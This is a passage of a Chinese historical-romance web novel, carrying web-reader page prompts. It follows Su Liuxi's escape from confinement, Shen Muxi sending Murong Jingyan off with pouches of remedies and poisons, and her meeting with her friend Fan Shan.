顾时因为苏府的事情,焦头烂额。 好不容易抽身回到荣郡王府。 却听到了苏柳溪突然发狂的消息。 “不必理会,免得让她钻空子逃了出去。” 托了苏府的福,荣郡王府如今虽然没有被苏府连累,可是日子也好过不到哪里去。 皇上要彻查当初他遇刺的事情,若是真让皇上查出些什么,只怕他这个荣郡王的爵位,就到头了... “可是,王爷,王妃这次确实跟以往的发狂都不一样...” 直到下人的声音再次响起,顾时才发现,刚才汇报消息的婆子还未离开。 看她面容踟蹰,似是欲言又止。 顾时再次不耐烦开口,“不管这个女人怎么发狂,都不能让她走出柴房半步。” 顿了顿,顾时又补充道,“那女人,惯会使用苦肉计,你去告诉她,除非她死了,否则这辈子就等着被锁在柴房吧。” 说完,他唤来了秦寿,给秦寿交代了一些关于苏柳溪跟虞悦希的日常注意事项之后就关上了房门。 也只有自己独处的时候,顾时才能歇下自己那副冷硬的伪装。 如今,顾时虽然彻底看清了苏柳溪两面三刀的真面目,可是他却永远失去了他的慕慕跟筱筱... 这让她怎么能不恨苏柳溪母女这两个始作俑者? 也许是上天觉得他可怜,所以才会让他遇到神态与慕慕极为相似的南渊太子妃。 据他所知,南渊太子在南渊并不受宠,若是这次合作成功,他或许可以用南渊太子妃作为条件... 在顾时还在做春秋大梦的时候。 柴房的苏柳溪,已经被双手腐烂到手臂位置的虞悦希吓得六神无主。 虞悦希此时还在昏迷。 当时就像是破抹布一样从柴房那个没有窗板的窗户扔进来的。 身上还传来阵阵腐臭。 一直在鼻端萦绕不断的恶臭,让苏柳溪难以避免地想起了那时候伤了腿的老荣郡王妃。 那个不可一世的女人。 死前却是整条腿掉了出来,整个人都是血肉模糊的。 更遑论那天的大火烧完以后,整个荣郡王府一连数日都萦绕着像是腐尸一样的臭味。 门外传来了婆子的低声呼唤。 苏柳溪从门缝位置看到婆子身后空空如也,忍不住皱眉。 “不是让你们去请大夫吗?怎么又回来了?大夫呢?” 这个时候,她已经不敢接近虞悦希了。 在老王妃康氏死后,府上在荣辉堂伺候过、包括在康氏身边的丫鬟婆子全部都不同程度地感染了疹子。 疹子人传人了好些天,直到那批感染疹子的下人被全部送走,发疹子的源头才算是被止住了。 眼下虞悦希的情况,与之前老王妃死时何其相似? 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!苏柳溪又惊又惧又担心。 惊惧虞悦希如今变成这副惨状,害怕虞悦希身上有什么东西会沾到她的身上让她起疹子。 同时也担心,若是再这样下去,虞悦希必定有性命危险。 “说话啊,本王妃问你,不是让你去请大夫了吗?人呢?” 刚才求到顾时面前的婆子支支吾吾开口,“王妃...王府的侍卫把守森严,奴婢们出不去啊。” “顾时呢?顾时回来了没?” 苏柳溪这种时候,已经没办法去想自己跟顾时的事情,满脑子都是,要救虞悦希,不然她会死。 “王爷...王爷回来了,可是...可是他不允许咱们靠近主院。” 婆子不敢直接把顾时的话告诉苏柳溪。 生怕惹得苏柳溪不开心,后面遭殃的还是自己。 顾时不让她的人靠近主院? 苏柳溪明显觉察到了不妥。 按照以往。 顾时纵然再看她不顺眼,都不敢这样软禁她。 因为他忌惮苏府。 可如今,顾时不仅要软禁她,还连个大夫都不允许她请。 所以... 他是真的打算对付苏府了? 不,若是苏府能让顾时忌惮,顾时绝对不会有这种胆子作践她。 苏府肯定出事了。 想到这里,她继续吩咐那名婆子,“你,去外面帮我打听一下,这两天是否发生了什么大事。” 婆子是临时被安排照顾苏柳溪的,用起来完全没有用翠娥时候那么顺手。 可现在苏柳溪已经没得选择了。 婆子本来还想拒绝,可苏柳溪到底也是掌过荣郡王府的家,余威还在。 婆子最终还是乖乖应是退下。 苏柳溪此时已经没有心情顾及虞悦希的死活。 若是没了苏府,别说虞悦希,连她都没有好下场。 在她焦急的等待中。 那个听她的话去打听消息的婆子大惊失色地回来了。 “王妃,不好了,苏府被抄家,全府上下一百二十六口人全部问斩,明日午时三刻就要行刑了。” “什么?” 苏柳溪再也坐不住了, 顾不得虞悦希现在是什么情况,她用力想要扯开锁住柴房的锁链。 奈何锁链实在太结实。 她四处张望,还真让她找到了一把柴刀。 从门缝中看清了苏柳溪想要做什么,婆子大惊失色,连忙劝说,“王妃,您要做什么?您不能出去,王妃...” 婆子嘴上嚎着,却半点没有阻拦。 很快,苏柳溪竟真的从门缝位置将锁链劈断。 顾不得饿了一天一夜,她拉开柴房门往外就要跑。 守在柴房附近的丫鬟婆子们不敢拦太过,侍卫不敢亮刀子,竟真的让苏柳溪一路闯到了前院书房。 顾时正准备外出,毫无预兆被苏柳溪拦了下来。 筋疲力尽,苏柳溪几乎是跌坐在地上,抱着他的大腿。 顾时居高临下地睥睨苏柳溪一身狼狈。 “你来做什么?” “我父亲...” 只是开了一个头,顾时就明白了苏柳溪想要说什么。 “苏府勾结回疆,证据确凿,再加上显王一直在施压,荣郡王府能够全须全尾退出来已经是皇上念旧情,苏府就不要想了。” 眼看顾时要抬腿离开,苏柳溪像个秤砣似的停在顾时的腿上。 抬眸愤恨地看向他,“你既然是皇亲,为何不保苏府?” 顾时笑了。 “我为何要保苏府?” 他冷眼看向苏柳溪,“你可知道苏府对我做了什么?可知道苏府这些天做的事情?” 苏柳溪听不进去顾时说出任何一句关于苏府不好的话。 她只知道,当初苏府出了力让顾时从丹阳脱身回来,如今顾时得了富贵却对苏府不管不顾,那就是忘恩负义。 这是苏柳溪内心最深处的想法,她一时激动,竟然真的跟顾时说了出来。 顾时冷哼一声,脸色比起刚才稍微缓和了些,“本来苏府若是在金銮大殿上说出苏勇的下落,还能有一线生机,可苏府的人舍不得,既然舍不得苏勇,那就只好全府人陪葬了。” 听到这里,苏柳溪像是抓住了什么信息,“是不是只要苏勇露脸,苏府就会有转圜余地?” 就在这时,裴望也从书房里出来了。 “苏勇此人狡猾,便是你亲自出现,也不一定能引他出来。” “我能。” 苏柳溪无瑕去细想裴望为什么也在。 似是堵着一口气,她目光灼灼地看向顾时。 “我可以。” 苏柳溪一连重复了好几遍她可以。 像是安慰自己,又像是给顾时几人定下定心丸。 顾时也没有急着否认她的话,而是不动声色地跟裴望对视了一眼。 ... “没想到苏柳溪居然会为了苏府的人想着出卖假苏勇。” 行宫别苑。 沈慕兮听到裴望带过来的消息以后,差点惊掉了下巴,“你们就没有怀疑其中有诈?” “也许,”裴望坐在客座,看着眼前轻烟袅袅的清茶,淡声开口,“苏柳溪有所依仗,有恃无恐地觉得假苏勇不会被抓?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!沈慕兮将注意力落回裴望身上。 “你知道假苏勇的身份?” “只是猜测。”裴望嘲讽一笑,“顾时一直在怀疑假苏勇是回疆人,但是我倒是比较倾向于假苏勇是前朝的人。” 最起码,假苏勇的身形体量就不似回疆人。 “不管如何,苏府既然明日被问斩,只剩下假苏勇也是独木难支,若是再掰倒了顾时,你的大仇得报,也算是快要得偿所愿?” 沈慕兮笑着开口,“就是不知道,裴大人届时可还有报效朝廷的想法?” “若是遇明主,自当继承义父遗志,向朝廷效命。”裴望轻抿了一口茶水。 答案敷衍至极。 沈慕兮权当听不懂他的话,朝他举起茶杯。 “那我在此便提前祝贺裴大人,早日得偿所愿。” 一年前,沈慕兮压根不敢想,自己居然能够跟北宸最年轻的大理寺卿在这里谈天说地。 沈慕兮亦是觉得庆幸。 若不是死了一次,让她彻底看清顾时的真面目,只怕她至今还是会被顾时那副自以为深情的模样骗到。 继续为他无怨无悔的付出。 ... 裴望离开没多久。 便到了晚膳时候。 正好慕容景衍也回来了。 夏日时分,天色黑得晚。 慕容景衍进府的时候天色正好。 沈慕兮干脆让下人把晚膳搬到院子里那颗大榕树下的石桌上。 说起来,这算是两人来到行宫别苑第一次一起用膳。 由于天气炎热,膳房那边的菜肴都以清淡为主。 沈慕兮心中有其他疑问,用膳的时候,吃得极慢。 “还在想荣郡王府的事情?” 慕容景衍放下了手中玉箸,接过下人递过来的茶水漱了口。 沈慕兮也放下了筷子,聊胜于无地勾了勾嘴角,“只是一个跳梁小丑,还不值得让我伤神。” “你若是能从过往走出来,去细心发现,就能看到,顾时不可能只有咱们看到那么简单,区区苏府,只是撕开了一道口子,后面的鱼,大着呢。” 慕容景衍落座给自己倒了一杯茶水,顺便给沈慕兮倒了一杯。 沈慕兮给夏蝉使了一个眼色,后者意会,连忙将其他丫鬟婆子清退。 直到榕树下只剩下她跟慕容景衍二人,她饶有兴致地看向他,“愿闻其详。” “你以为,苏府为何要与顾时达成同盟?” 看到沈慕兮没有开口,慕容景衍又道,“这高门大户之间的关系,都是盘根错节,一不小心,便是万劫不复,所以,若是没有共同利益,谁都不愿意趟这些浑水。 苏府满门抄斩迅速,更大的原因是,皇上看似康健,实际上早已时日无多,而显王,要做的就是趁乱达成自己所愿,所以...” “显王是在借势,不,应该说他是借东风,更加贴切。”沈慕兮接上了慕容景衍的话。 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第177章 不开窍 “所以,苏府的倒台只是迟早的事情,跟苏府达成同盟的荣郡王府也讨不得半点好,这才是当时你让我在荣郡王府要沉住气的原因?” 慕容景衍但笑不语,似是默认。 一如沈慕兮所料,慕容景衍只是把她列在了算计中的一环。 她垂眸迅速掩去了眼底的失落。 又听慕容景衍道,“之前你在荣郡王府一直都是憋着一股气,这会你不用憋了,该如何去做,就如何去做,天塌下来了,咱们就拖显王殿下去顶着。” 他说话时候语气分明带着一点玩世不恭,可沈慕兮却感觉到,他说出那句“天塌下来拖显王去顶着”的话,不像是开玩笑。 一时之间,她竟有些猜不透慕容景衍下一步应该要如何。 只好强调自己心中想法。 “顾时以及苏柳溪母女,我不会放过。” 那是他们欠她母女二人的。 看到沈慕兮一脸认真的神色,顾时收了嘴角的笑容,恢复了往日的沉着,“本宫明白了,今日本宫让显王配合,说本宫突然遇刺卧病在床,两国之间的会谈会择日再议。 期间本宫会带着贺玄与显王外出一趟,贺鸿则留下来协助你处理一些琐事以及护住你的安危;这次外出,快则十天,慢则半个月,若是有人上门探虚实...” “为何要出门这么突然?”看他一切都说的这么详细,沈慕兮忍不住开口问道。 “回疆那边,似是有主和的人,已经悄悄到了北宸国境之内。 本宫此番出行,就是打算跟显王一同与回疆人交涉,本宫与显王的想法一致,都不主张开战。” 沈慕兮忍不住叹气,“确实也是,不管是南渊还是北宸,战争一旦打起来,劳民伤财,最后苦的还是老百姓。” 转眼,她又跟慕容景衍连连保证,“你只管放心把外面的事情办好,我会跟贺鸿一起配合,不会拖你后腿的。” 在她的认知里面,慕容景衍既然能够毫无保留地把事情告诉她,说明是不容有失的。 慕容景衍继续说下去,“若是遇到不省心的事情,你让贺鸿处理即可,在这期间,要是顾时上门...” “顾时上门,我便亲自见他。”沈慕兮几乎不假思索就脱口而出。 慕容景衍刚要开口说话让她不必如此,又听到沈慕兮说道,“我与顾时,已经快要到彻底了断了,但是在了断之前,我要把倾注在他身上的所有心血收回来。” 不说别的,就顾时之前那条伤得快要变成残废的手臂,她当初可是费了许多心神,才找到了那个温养他手臂的方子。 顾时骗了她,害死了她跟女儿,那他那条要残不残的手臂,她自然是要收回来的。 她眼底的恨意太过浓烈。 慕容景衍沉默了一下,最终只是起身嘱咐了一句,“天色已经不早了,早些回去洗漱歇息。” 天边斜阳艳红如血。 从两人用膳到慕容景衍离开,连两刻钟的时间都没有。 沈慕兮明显感到了慕容景衍在站起来的时候,心情变得极为低落。 可她想不明白,好端端的,他的心情怎么就低落了呢? 她跟顾时复仇,好像也没有惹他啊... 难道,是因为担心显王会在远行中途使诈? 似是想通了其中关窍,沈慕兮一脸了然。 确实,在他们这个位置对应他们所做的事情,稍微有点差池,就是万劫不复。 考虑到慕容景衍如今还与她是在同一根绳子上的蚂蚱。 沈慕兮也没了胃口,跟夏蝉交代了几句,自己回屋里翻医书去了 ... 是夜。 慕容景衍坐立不安地询问贺玄。 “她当真就一直在屋里看书,完全没有出来过?” “是。” 得到贺玄肯定的答复,慕容景衍心里是说不上的失落。 明明他已经明示暗示了,可是她就像是死活不开窍一样... 有时候他真想将她绑起来,严刑逼供问问她到底是怎么想的。 但是一想到她会毒,而且自己的身体还需要她帮忙调理... 算了。 一整夜,慕容景衍都辗转反侧。 直到第二天早上,他顶着一对黑眼圈跟贺鸿交代些什么。 沈慕兮同样顶着一对黑眼圈来找他。 两人四目相对的瞬间,又迅速别开了看向彼此的目光。 贺鸿识趣地退下了。 “那个...” 沈慕兮清了清嗓子,“你不是要出远门一趟吗?这些,你拿着。” 话落,她往他手上塞了一白一绿两个荷包。 荷包上的花纹与慕容景衍整个人的气质格格不入。 白色荷包上,绣的是一株傲雪而立的红梅,红梅上还有一只色泽艳丽的喜鹊。 绿色荷包上则是一株在荷塘盛放的莲花,莲花下有两条锦鲤欢乐嬉戏。 两幅绣品绣得栩栩如生,乍看之下,慕容景衍仿佛可以嗅到盈鼻的梅花与荷花香气。 他轻轻以指腹摩挲了一下荷包上的针脚。 这章没有结束,请点击下一页继续阅读!荷包上的花样不像是外面能买到的,细密的针脚走向既不像北宸的工艺,也不像是南渊的工艺。 沈慕兮看慕容景衍一直在打量两个荷包,眼神带着她看不懂的情绪。 心中无比忐忑——他该不会是,嫌弃她做的东西太粗糙了吧? 没办法啊,来的时候她都没想过自己有朝一日会用上这两个荷包——在顾时还未回来京城的时候,他看到她画这个花样的时候,还取笑她画得俗气,说什么若是送给他,再好的寓意他都不可能要。 太贬低他的身价与眼光了。 没想到,这对荷包绣好了,还真送不出去。 京城来人太过突然。 而当初在丹阳启程之时,京城的来人又一直在催促。 她顾着收拾筱筱的衣物,就把荷包给忘了。 后面重生,她与筱筱重遇之前,又特地去了一趟丹阳,联系以前的旧识。 重回故居,竟让她发现了自己熬了许多个夜晚绣出来的荷包。 当时,她对顾时,真的是一片赤诚,连带绣荷包的时候,也是满怀虔诚... 没想到,兜兜转转,这对荷包居然被她随手送到了慕容景衍手上。 生怕慕容景衍误会,沈慕兮连忙开口解释,“殿下不要误会,这只是用来给你临时放东西的,没有别的意思。” “绣有红梅的白色荷包里装有护心丸跟解毒丹以及一些宁神静心用的香料,绣有荷花的绿色香囊内,则是一些迷药、五毒散一类的东西,殿下千万不要错服了。” 她本来想着留个纸条贴在瓶就算了。 可一想到,万一纸条掉了,用错药,会要人命。 她就干脆将补药跟毒药在贴了纸条以后分类装在荷包里,又将“好”“坏”二字分别绣在荷包结绳的位置。 还给慕容景衍指明,“若是殿下一时忘记,就看看荷包的结绳封口位置,切莫弄错。” “宁神静心的香料,是让您时刻保持清醒,有时候遇到冲动的事情,一时半会想不出来解决办法,殿下也不要焦虑,关键是,你要冷静,人好好的,就什么都好了。” 她絮絮叨叨地跟慕容景衍交代了一大堆。 像极了对远行丈夫不放心的小妻子而不自知。 慕容景衍握着手中两个香囊,里面装着的,是几个小竹筒,他不敢太用力,生怕自己一时激动,将香囊里面的小竹筒捏爆。 被重视的感觉,在这一刻,达到了具象化。 顾时到底知不知道,他失去的是一件怎样的宝物? 不,顾时永远都不会知道。 他看向沈慕兮的目光愈发灼热。 沈慕兮一通絮絮叨叨交代完以后,抬眸对上慕容景衍那双潋滟得看狗都深情的眼神,心里忍不住漏跳了一拍,连说话都结结巴巴的, “怎...怎么了?我说错什么了吗?” 她的声音才刚开了头,慕容景衍就已经紧紧将她拥入怀中。 力度之大,仿佛要将她嵌入自己的怀里。 “你没有说错,沈慕兮,你很好,真的很好。” 他的声音带着些许哽咽跟沙哑,说话的时候,一字一顿的气音喷洒在沈慕兮的颈脖跟耳廓之间。 微热的气息仿佛有生命一样,顺着沈慕兮的颈脖跟耳廓直涌上沈慕兮的脸颊。 她的脸颊竟然不受控制地发烫起来。 “咳咳...咳...殿下,你轻点,轻点,我呼吸不过来了。” 她手忙脚乱地推来了慕容景衍。 慕容景衍如梦初醒,懊恼地看向连退几大步几乎要贴在梁柱上与梁柱融为一体的沈慕兮。 “抱歉,本宫一时失态。” 沈慕兮傻兮兮地咧嘴朝他一笑,“没事,没事,殿下出远门紧张,我懂,我懂。” 慕容景衍上前一步想要好好道歉,沈慕兮却像是见鬼一样阻止了他上前,“殿下,那个...男女授受不亲,咱们就这样说话,能听到就很好。” 慕容景衍乖乖停在原地。 目光复杂地看了沈慕兮一眼,好一会,他才悠悠开口,“我会平平安安回来的。” 他轻飘飘的语气带着坚定。 似是要给她承诺。 沈慕兮不争气结巴了,“好...好,我在这里,等着殿下平安回来。” 两人分明只相隔三步之遥,却像是隔了咫尺天涯。 慕容景衍紧紧握住沈慕兮给他的两个香囊,还想说些什么,被随后而来的贺玄打断了。 “殿下,可以启程了。” 慕容景衍微不可查地叹了一口气,朝沈慕兮开口,“你在这里,也要好好照顾自己。” 面对慕容景衍的关心,沈慕兮慌乱点头回应。 “殿下也是一样。” 直到慕容景衍已经离开走远。 沈慕兮才像是被抽干了全身力气一样软软靠着身后的梁柱缓缓蹲下。 “死心,跳那么快做什么?死脸,你红什么?春天过了,现在是夏天,别思春。” 胡乱骂了一通,沈慕兮才凝重地抬眸看向眼前那片方方正正的天。 这章没有结束,请点击下一页继续阅读!刚才那个拥抱,一下子让她看懂了慕容景衍眼底的情绪。 可... 人在同一个地方,跌倒一次就够了。 ... 京城外。 一身乔装打扮的显王不满地看向姗姗来迟的慕容景衍。 “怎么来得这么迟?” 一身江湖侠客打扮、骑着乌黑水亮汗血宝马的慕容景衍一改往日阴沉神色,今日连看显王都格外顺眼。 “你怎么知道本宫的太子妃舍不得本宫,还特地给本宫送了两个荷包?” 从没见过慕容景衍这般“和颜悦色”的神态。 就像是被鬼上身了一样。 显王“唰”地一下抽出佩剑以佩剑指向慕容景衍,“你到底是谁?慕容景衍为何要你来做替身?他人呢?” 跟在慕容景衍身后的贺玄尴尬地干咳了两声。 “那个...显王殿下,这确实是咱们主子,只是咱们主子心情舒爽,可能就话多了那么一点点...” 他在出发之前打断了主子跟沈姑娘说话。 得罪了主子,他好说歹说,还跟主子几乎掰开了揉碎了分析沈姑娘的所作所为确实对他有意,他家主子的神色才从乌云密布转成如今这样晴空万里。 他绝对不允许显王“捣乱”。 为此,他几乎是把自己这辈子最好的口才都用上了。 “...若是显王连这点信任都无法给我们,那咱们的合作,也就没法继续了。” 一直以来,在北宸,显王一直都是跟贺玄联系。 对贺玄的为人,亦是有几分信任。 听到贺玄再三保证,他才缓缓收起手上佩剑。 “我不管谁给你送了什么,记住你答应过本王的事情,否则本王定...” “啊!!” 他话音未落,胯下枣红色的千里马突然像是发了狂一样,驮着他一路往前狂奔。 不远处,一小队装作江湖人打扮的侍卫,连忙追上。 颠簸间,眼力好的人还能清楚地看到马臀上那个拳头大的石头粉尘印记。 慕容景衍冷哼一声将两个荷包小心翼翼放入怀中,“聒噪。” 有些人果然是不值得他对人和颜悦色。 还是沈慕兮好,只要他和颜悦色一些,她就会对他漾开笑容。 他甚至都不敢奢望,后半辈子,若是在自己烦闷的时候,能够一直看到这样让人如沐春风、心神舒畅的笑脸,是多么幸福的事情... 幸福... 想到这个词,慕容景衍的脑子里,第一时间就是浮现了他和她牵着筱筱的手,在夕阳下散步的场景... 嗯。 好想快点回去南渊。 该死的北宸,该死的回疆!! 还有该死的顾时! 他恨! 纵然心中早已骂翻了天,慕容景衍面上却毫无表情地扬起马鞭,狠狠抽在马臀上。 快马扬起一片灰尘,迷了贺玄的眼。 “殿下,你等等属下!!” ... 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第178章 沈慕兮与范珊 慕容景衍已经出门三天了。 这三天期间,确实陆续有人前来打听关于慕容景衍的消息。 但是都被贺鸿一一化解了。 沈慕兮几乎都在行宫别苑看医书或者练字。 傍晚时分。 沈慕兮正在散步消食。 “姑娘,丹阳那边来了信。” 夏蝉将一封封了蜡口的信递到沈慕兮面前。 因着顾筱筱的缘故,沈慕兮对丹阳那边的消息格外紧张。 她几乎没有半分犹豫停顿拆开了信件。 等看清信件上的内容以后,她的眉心几乎拧成了死结。 “怎么了?” 夏蝉担忧地看向她。 沈慕兮抿唇,没有多言。 “你帮我递个信,拦下那人,让她前来京都,就说我有事要找她。” 夏蝉看到沈慕兮一脸严肃,当即不敢多问。 “是。” 半个时辰后。 夏蝉回来了。 “一切安排妥当,明日午时,上茗居。” “好。” ... 翌日,沈慕兮在巳时末就带着夏蝉一同出了门。 上茗居,是京城最出名的平民茶楼。 因装潢多样,价格多样化而深受京城百姓的喜爱。 茶楼一共分为三层,第一层是毫无遮拦的四方桌摆位,有普通的茶水点心,价格在两文到十文不等,平日大都是一些贩夫走卒作为歇脚的地方。 第二层放了屏风做隔间,茶水点心比一楼的稍微好一些,价格在五十文到一百文不等,平日基本都是文人雅士聚集一起吟诗作对,附庸风雅。 第三层则是专门的包厢,包厢用实木打造,分甲乙丙三种。 因老板巧思,在实木之中加了棉花,包厢的隔音效果极好, 平日去得最多的是一些谈生意的商人,不同隐秘度的包厢,按茶位以及甲乙丙等级收费,丙级包厢临近大街,隐秘程度一般,一个茶位三两银子,乙级包厢隐秘程度比丙级包厢好一些,按照一个茶位费六两银子,甲级包厢隐秘程度是最好的,有专门的人带路才能找到,一个茶位费二十两银子。 因此也有不少达官贵人平日里喜欢身穿便服低调前往。 沈慕兮与丹阳好友范珊约好的地点就是在上茗居的临近大街的丙级包厢。 范珊与沈慕兮死前的年龄相仿,是沈慕兮在丹阳认识为数不多的好友。 她性子泼辣火爆,本不是丹阳人。 十八岁那年,因为丈夫要贬妻为妾,她一时气不过,闹到了衙门。 官府早已被收买,不予受理。 范珊最后不仅因妨碍公务挨了二十板子,还落得一个妒妇名声,最后还被丈夫休弃回娘家,早些年她操持家中一切获得的家底,也一个子都拿不到。 娘家人以她为耻,不愿收留,她挨了板子的伤势未愈,差点死在一场风寒。 醒来后,她决定放弃过往的一切,与家人断绝所有联系。 一个人女扮男装,离开了老家,以四处做卖货郎为生。 直到遇到了沈慕兮。 当时两人认识在一个冬日。 范珊因为被污蔑偷盗,被卖包子的沈慕兮挺身而出,还了她清白。 两人一来二去,成了朋友。 当她知道沈慕兮家中还有一个只有几月大的幼女以及一群饭来张口衣来伸手的废物时,她第一反应就是劝说她—— “这些人对你的付出这么理所应当,往后一旦发迹,你绝对没有好日子。” 没想到,还真让她一语成谶。 当时沈慕兮还沉浸在顾时给她编织的温柔网中,什么都听不进去。 但是她还是在范珊的怒骂下,窝窝囊囊地给自己攒下了一点点没让荣郡王府的人发现的产业交给范珊帮忙打理。 后来,顾时回去京城,而后又寻人前来接走沈慕兮。 向来像无根浮萍一样漂泊的范珊在跟沈慕兮相处的几年内,逐渐在丹阳以及丹阳周边,以男子的身份立住了脚跟。 自此化名为“范山”。 在知道沈慕兮要回去京城以后,她更是主动帮沈慕兮管理她攒下的一点子产业,凶巴巴地告诉她,那是以防万一她以后真的被负心人辜负,没有去处。 可以说,范珊,是沈慕兮自认为遇到的,除了顾时以外,最为她着想的人。 因此当初从南渊回去丹阳以后,沈慕兮第一时间就找到了范珊表明身份。 在知道沈慕兮经历的一切以后,范珊一边哭一边骂沈慕兮窝囊,遇到事情不给她去信... 如今筱筱在丹阳,也是暂时委托范珊帮忙照看。 此时上茗居的厢房内。 沈慕兮笑着给一身粗布衣衫做男装打扮的范珊倒了一杯茶水。 “临时让你跑这一趟,实在是抱歉。” 看到范珊一身风尘仆仆来见她,沈慕兮心里又是心疼又是感动。 但是一想到她即将要去的地方,沈慕兮只好逼自己狠一狠心。 范珊明显不知道她内心的真正想法。 牛饮一杯茶水以后,才不满地挑眉看了沈慕兮一眼,“你这话说得就不中听了,你我之间,还需要客气吗?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!沈慕兮一噎,嘴角的笑意又加深了几分。 “是这个理。” 伸手不打笑脸人,饶是范珊脾气十分火爆。 可当她看到沈慕兮笑意盈盈地看向自己的那一刻,她所有的火爆脾气顿时烟消云散。 眼前女子,一身素色绫罗织蝶戏百花长裙,发间只有简单的白玉发簪,却也难掩通身贵气。 她最终还是忍不住由衷地叹息了一句,“不过该说不说,你现在也算是苦尽甘来了。” 很快,她眼底的叹息又被担忧覆盖。 她看了一眼周围,确定包厢内只有她们两人,她才小心凑到沈慕兮身前,压低声音开口道,“我听说,你现在的丈夫,是个大官,要是真的想要脱身,会不会难度很大?” “不会,我与他早已商量好,到时候你只需要...”沈慕兮附嘴到范珊耳边低语。 范珊连连点头,“好,我明白了,筱筱就交给我,你也不用担心丹阳那边,有事直接让杨威跟我传信就好了。” 沈慕兮点头,“我知道的,另外...” 似是在斟酌语言,沈慕兮停顿了一下,“黄江在衡江那边,打听到了你娘家跟原先夫家的事情,当初你丈夫贬妻为妾,是得到了你娘家的允许,那名抢你丈夫的女子...是你娘亲年轻时候爱慕过的书生与别人所生的孩子,所以对她格外宽容,在你离开没多久,他们一家人,其乐融融。” “都过去多久的事情了,好好的,说那一群渣滓做什么?”范珊毫不在乎地微微一笑,紧攥的拳头却出卖了她此时的心情。 重感情的人,就是这一点不好。 明明已经被重创一次又一次,可是当收到消息说,那群渣滓过得不好,她还是忍不住一次又一次的原谅。 沈慕兮垂眸,“我想说,你既然已经与他们断了联系,那么,心就要狠起来。 我听黄江说了,那个女子的书生父亲,不知道怎么染上了赌瘾,现在你的娘家跟婆家都被那个书生拖垮了,这会他们在到处打听你的小心,想要把你骗回去榨银子。” 范珊猛然抬头看向沈慕兮,刚好对上她笃定的眼神。 好一会,她脸上的神色才变成苦笑。 “我就知道,你是知道些什么,才会突然让人截了我前来京都。” 沈慕兮伸手握住她带着薄茧的双手,轻轻摩挲了她大拇指跟食指略微变形的关节,一脸真诚地看向她,“范珊,曾经我们都在泥潭里挣扎,现在既然已经上岸了,不管泥潭里探出来的那只手多可怜,都不能让它重新将咱们拽回去。” 这是警醒。 范珊从最开始的震惊张嘴,到后面坚定反握沈慕兮的手,眼底顿时一片清明,“放心,糊涂一次就够了。” 她苦笑,“在丹阳的时候,我就是猪油蒙了心,看到他们出事了,想的居然还是我爹娘养大我不容易,可是仔细回想,当初,不管是娘家的家业还是婆家的家业,都是我从小一点一点给人挑泥、浆洗衣裳攒起来的,所有东西,从无到有,期间艰难,他们根本就不懂。 公堂之上,他们默认支持那个负心汉跟狐狸精在一起,一句善妒,毁了我大半辈子,这样的人...这样的人...” 她的眼眶通红,想要再说些什么,却哽在喉间。 沈慕兮拍了拍她的手背,“一切都过去了,很快,咱们就能苦尽甘来,那些渣滓,不值得。” 范珊吸了吸鼻子,抬头将眼泪逼回去,“我不会再糊涂的了,同样,你也要坚决一些。” 她指的是沈慕兮对待顾时与之间的感情。 沈慕兮没有犹豫地点头,“这是自然,这次拦截你前来,不让你回去那个泥潭是一点,另外,也是为了与你确定我之前拜托你的事情。” 丹阳只是她跟筱筱暂时的落脚点。 其他产业自然是留在原地钱生钱比较好。 虽说丹阳苦寒,可是依旧有许多外来的商户在那里寻求机遇,而范珊是最好的打理人。 “...之前你在明面上的一些产业被你婆母的人卖出去,我按照你的意思,全部重新买回来了,紧接着要如何,你可以自行安排。” 听着范珊的话,沈慕兮连连点头,“钱银不够,你一定要跟我说,至于当时你买下产业的时候花了多少钱银,我随后都会在荣郡王府一一讨回。” 紧接着,两人又聊了一些细节问题以及筱筱到了丹阳以后的生活。 在知道顾筱筱在丹阳变得比之前更加开朗活泼以后,沈慕兮悬起来的心总算有了落脚点。 “这样,就很好了。” 至亲的人在身边,还有好友,就很好。 “你今日风尘仆仆赶来也累了,回头我安排...” “不,我今晚休整过后就要回去丹阳。” 范珊坚决地打断了沈慕兮的话。 “丹阳与京都相距甚远,一来一回需要将近三个月,我不放心筱筱。” 沈慕兮似是早有预料范珊的打算,也没有强留。 “如此,我现在让人为你备下盘缠马车跟吃食。” 这章没有结束,请点击下一页继续阅读!范珊点头。 沈慕兮唤来了夏蝉,让夏蝉立刻着手安排。 贺鸿的速度很快。 不到半个时辰,就给范珊找来了全新舒适的马车,马车上备下了糕点干粮以及肉干,还给她配了一个身手利落的侍卫做车夫。 “好了,我走了。” 城门外,沈慕兮依依不舍地跟范珊道别。 直到马车去了好远,她才轻唤了夏蝉一声。 夏蝉立刻上前,“姑娘有何吩咐?” “你遣人跟着她,暗中护送她回到丹阳再回来,另外,遣人去衡江,给范家人以及他的亲家一些警告,若是再找范珊纠缠,休怪我不客气。” 提到范珊的娘家人,沈慕兮的目光冷了几分。 连带整个人的气场都与往日截然不同。 夏蝉不敢多言,连忙唤来了另外一名暗卫,让他去寻贺鸿安排。 沈慕兮看着已经变成一个小黑点的马车,缓缓吐出一口浊气——希望范珊,真的能听劝,不要心软。 要不是她提前知道消息拦截了她前往衡江,只怕她现在早已在衡江与那群泥潭里的渣滓纠缠不休了。 幸亏... 以后,她跟范珊,一定都要好好的。 她们还有非常值得期待的未来。 “姑娘,难得出来,咱们要回去行宫别苑,还是在周边走一走?” 沈慕兮看了一眼天色。 如今已是未时中。 过了午歇的时间,也睡不着。 “罢了,之前带来的老山参跟丹参都用完了,我们去药堂看看有没有合适的。” 说完,她带着夏蝉一同去了城南西街的药房。 一通对比之下,发现没有合适的。 太阳西斜,沈慕兮只好带着夏蝉败兴而归。 夏蝉在一边安慰,“有时候,买人参也是要讲求缘分,说不定下次咱们就能看到合适的。” “无妨,那些备药还有,实在不行,我用其他药材代替也可以。” 主仆二人正聊着,一匹枣红色的快马夹裹着浓浊的血腥味飞奔而来。 差点将沈慕兮掀翻。 马儿受惊,高高扬起马蹄。 京都大街除非有急报,否则不允许纵马疾驰,这是早已写入了律法。 偏偏还有人敢明知故犯。 可想而知,这个明知故犯的人心里底气有多足。 “姑娘,这是当朝二公主。” 夏蝉在一旁小心提醒。 这个二公主... 沈慕兮倒是有所耳闻。 不等沈慕兮反应过来。 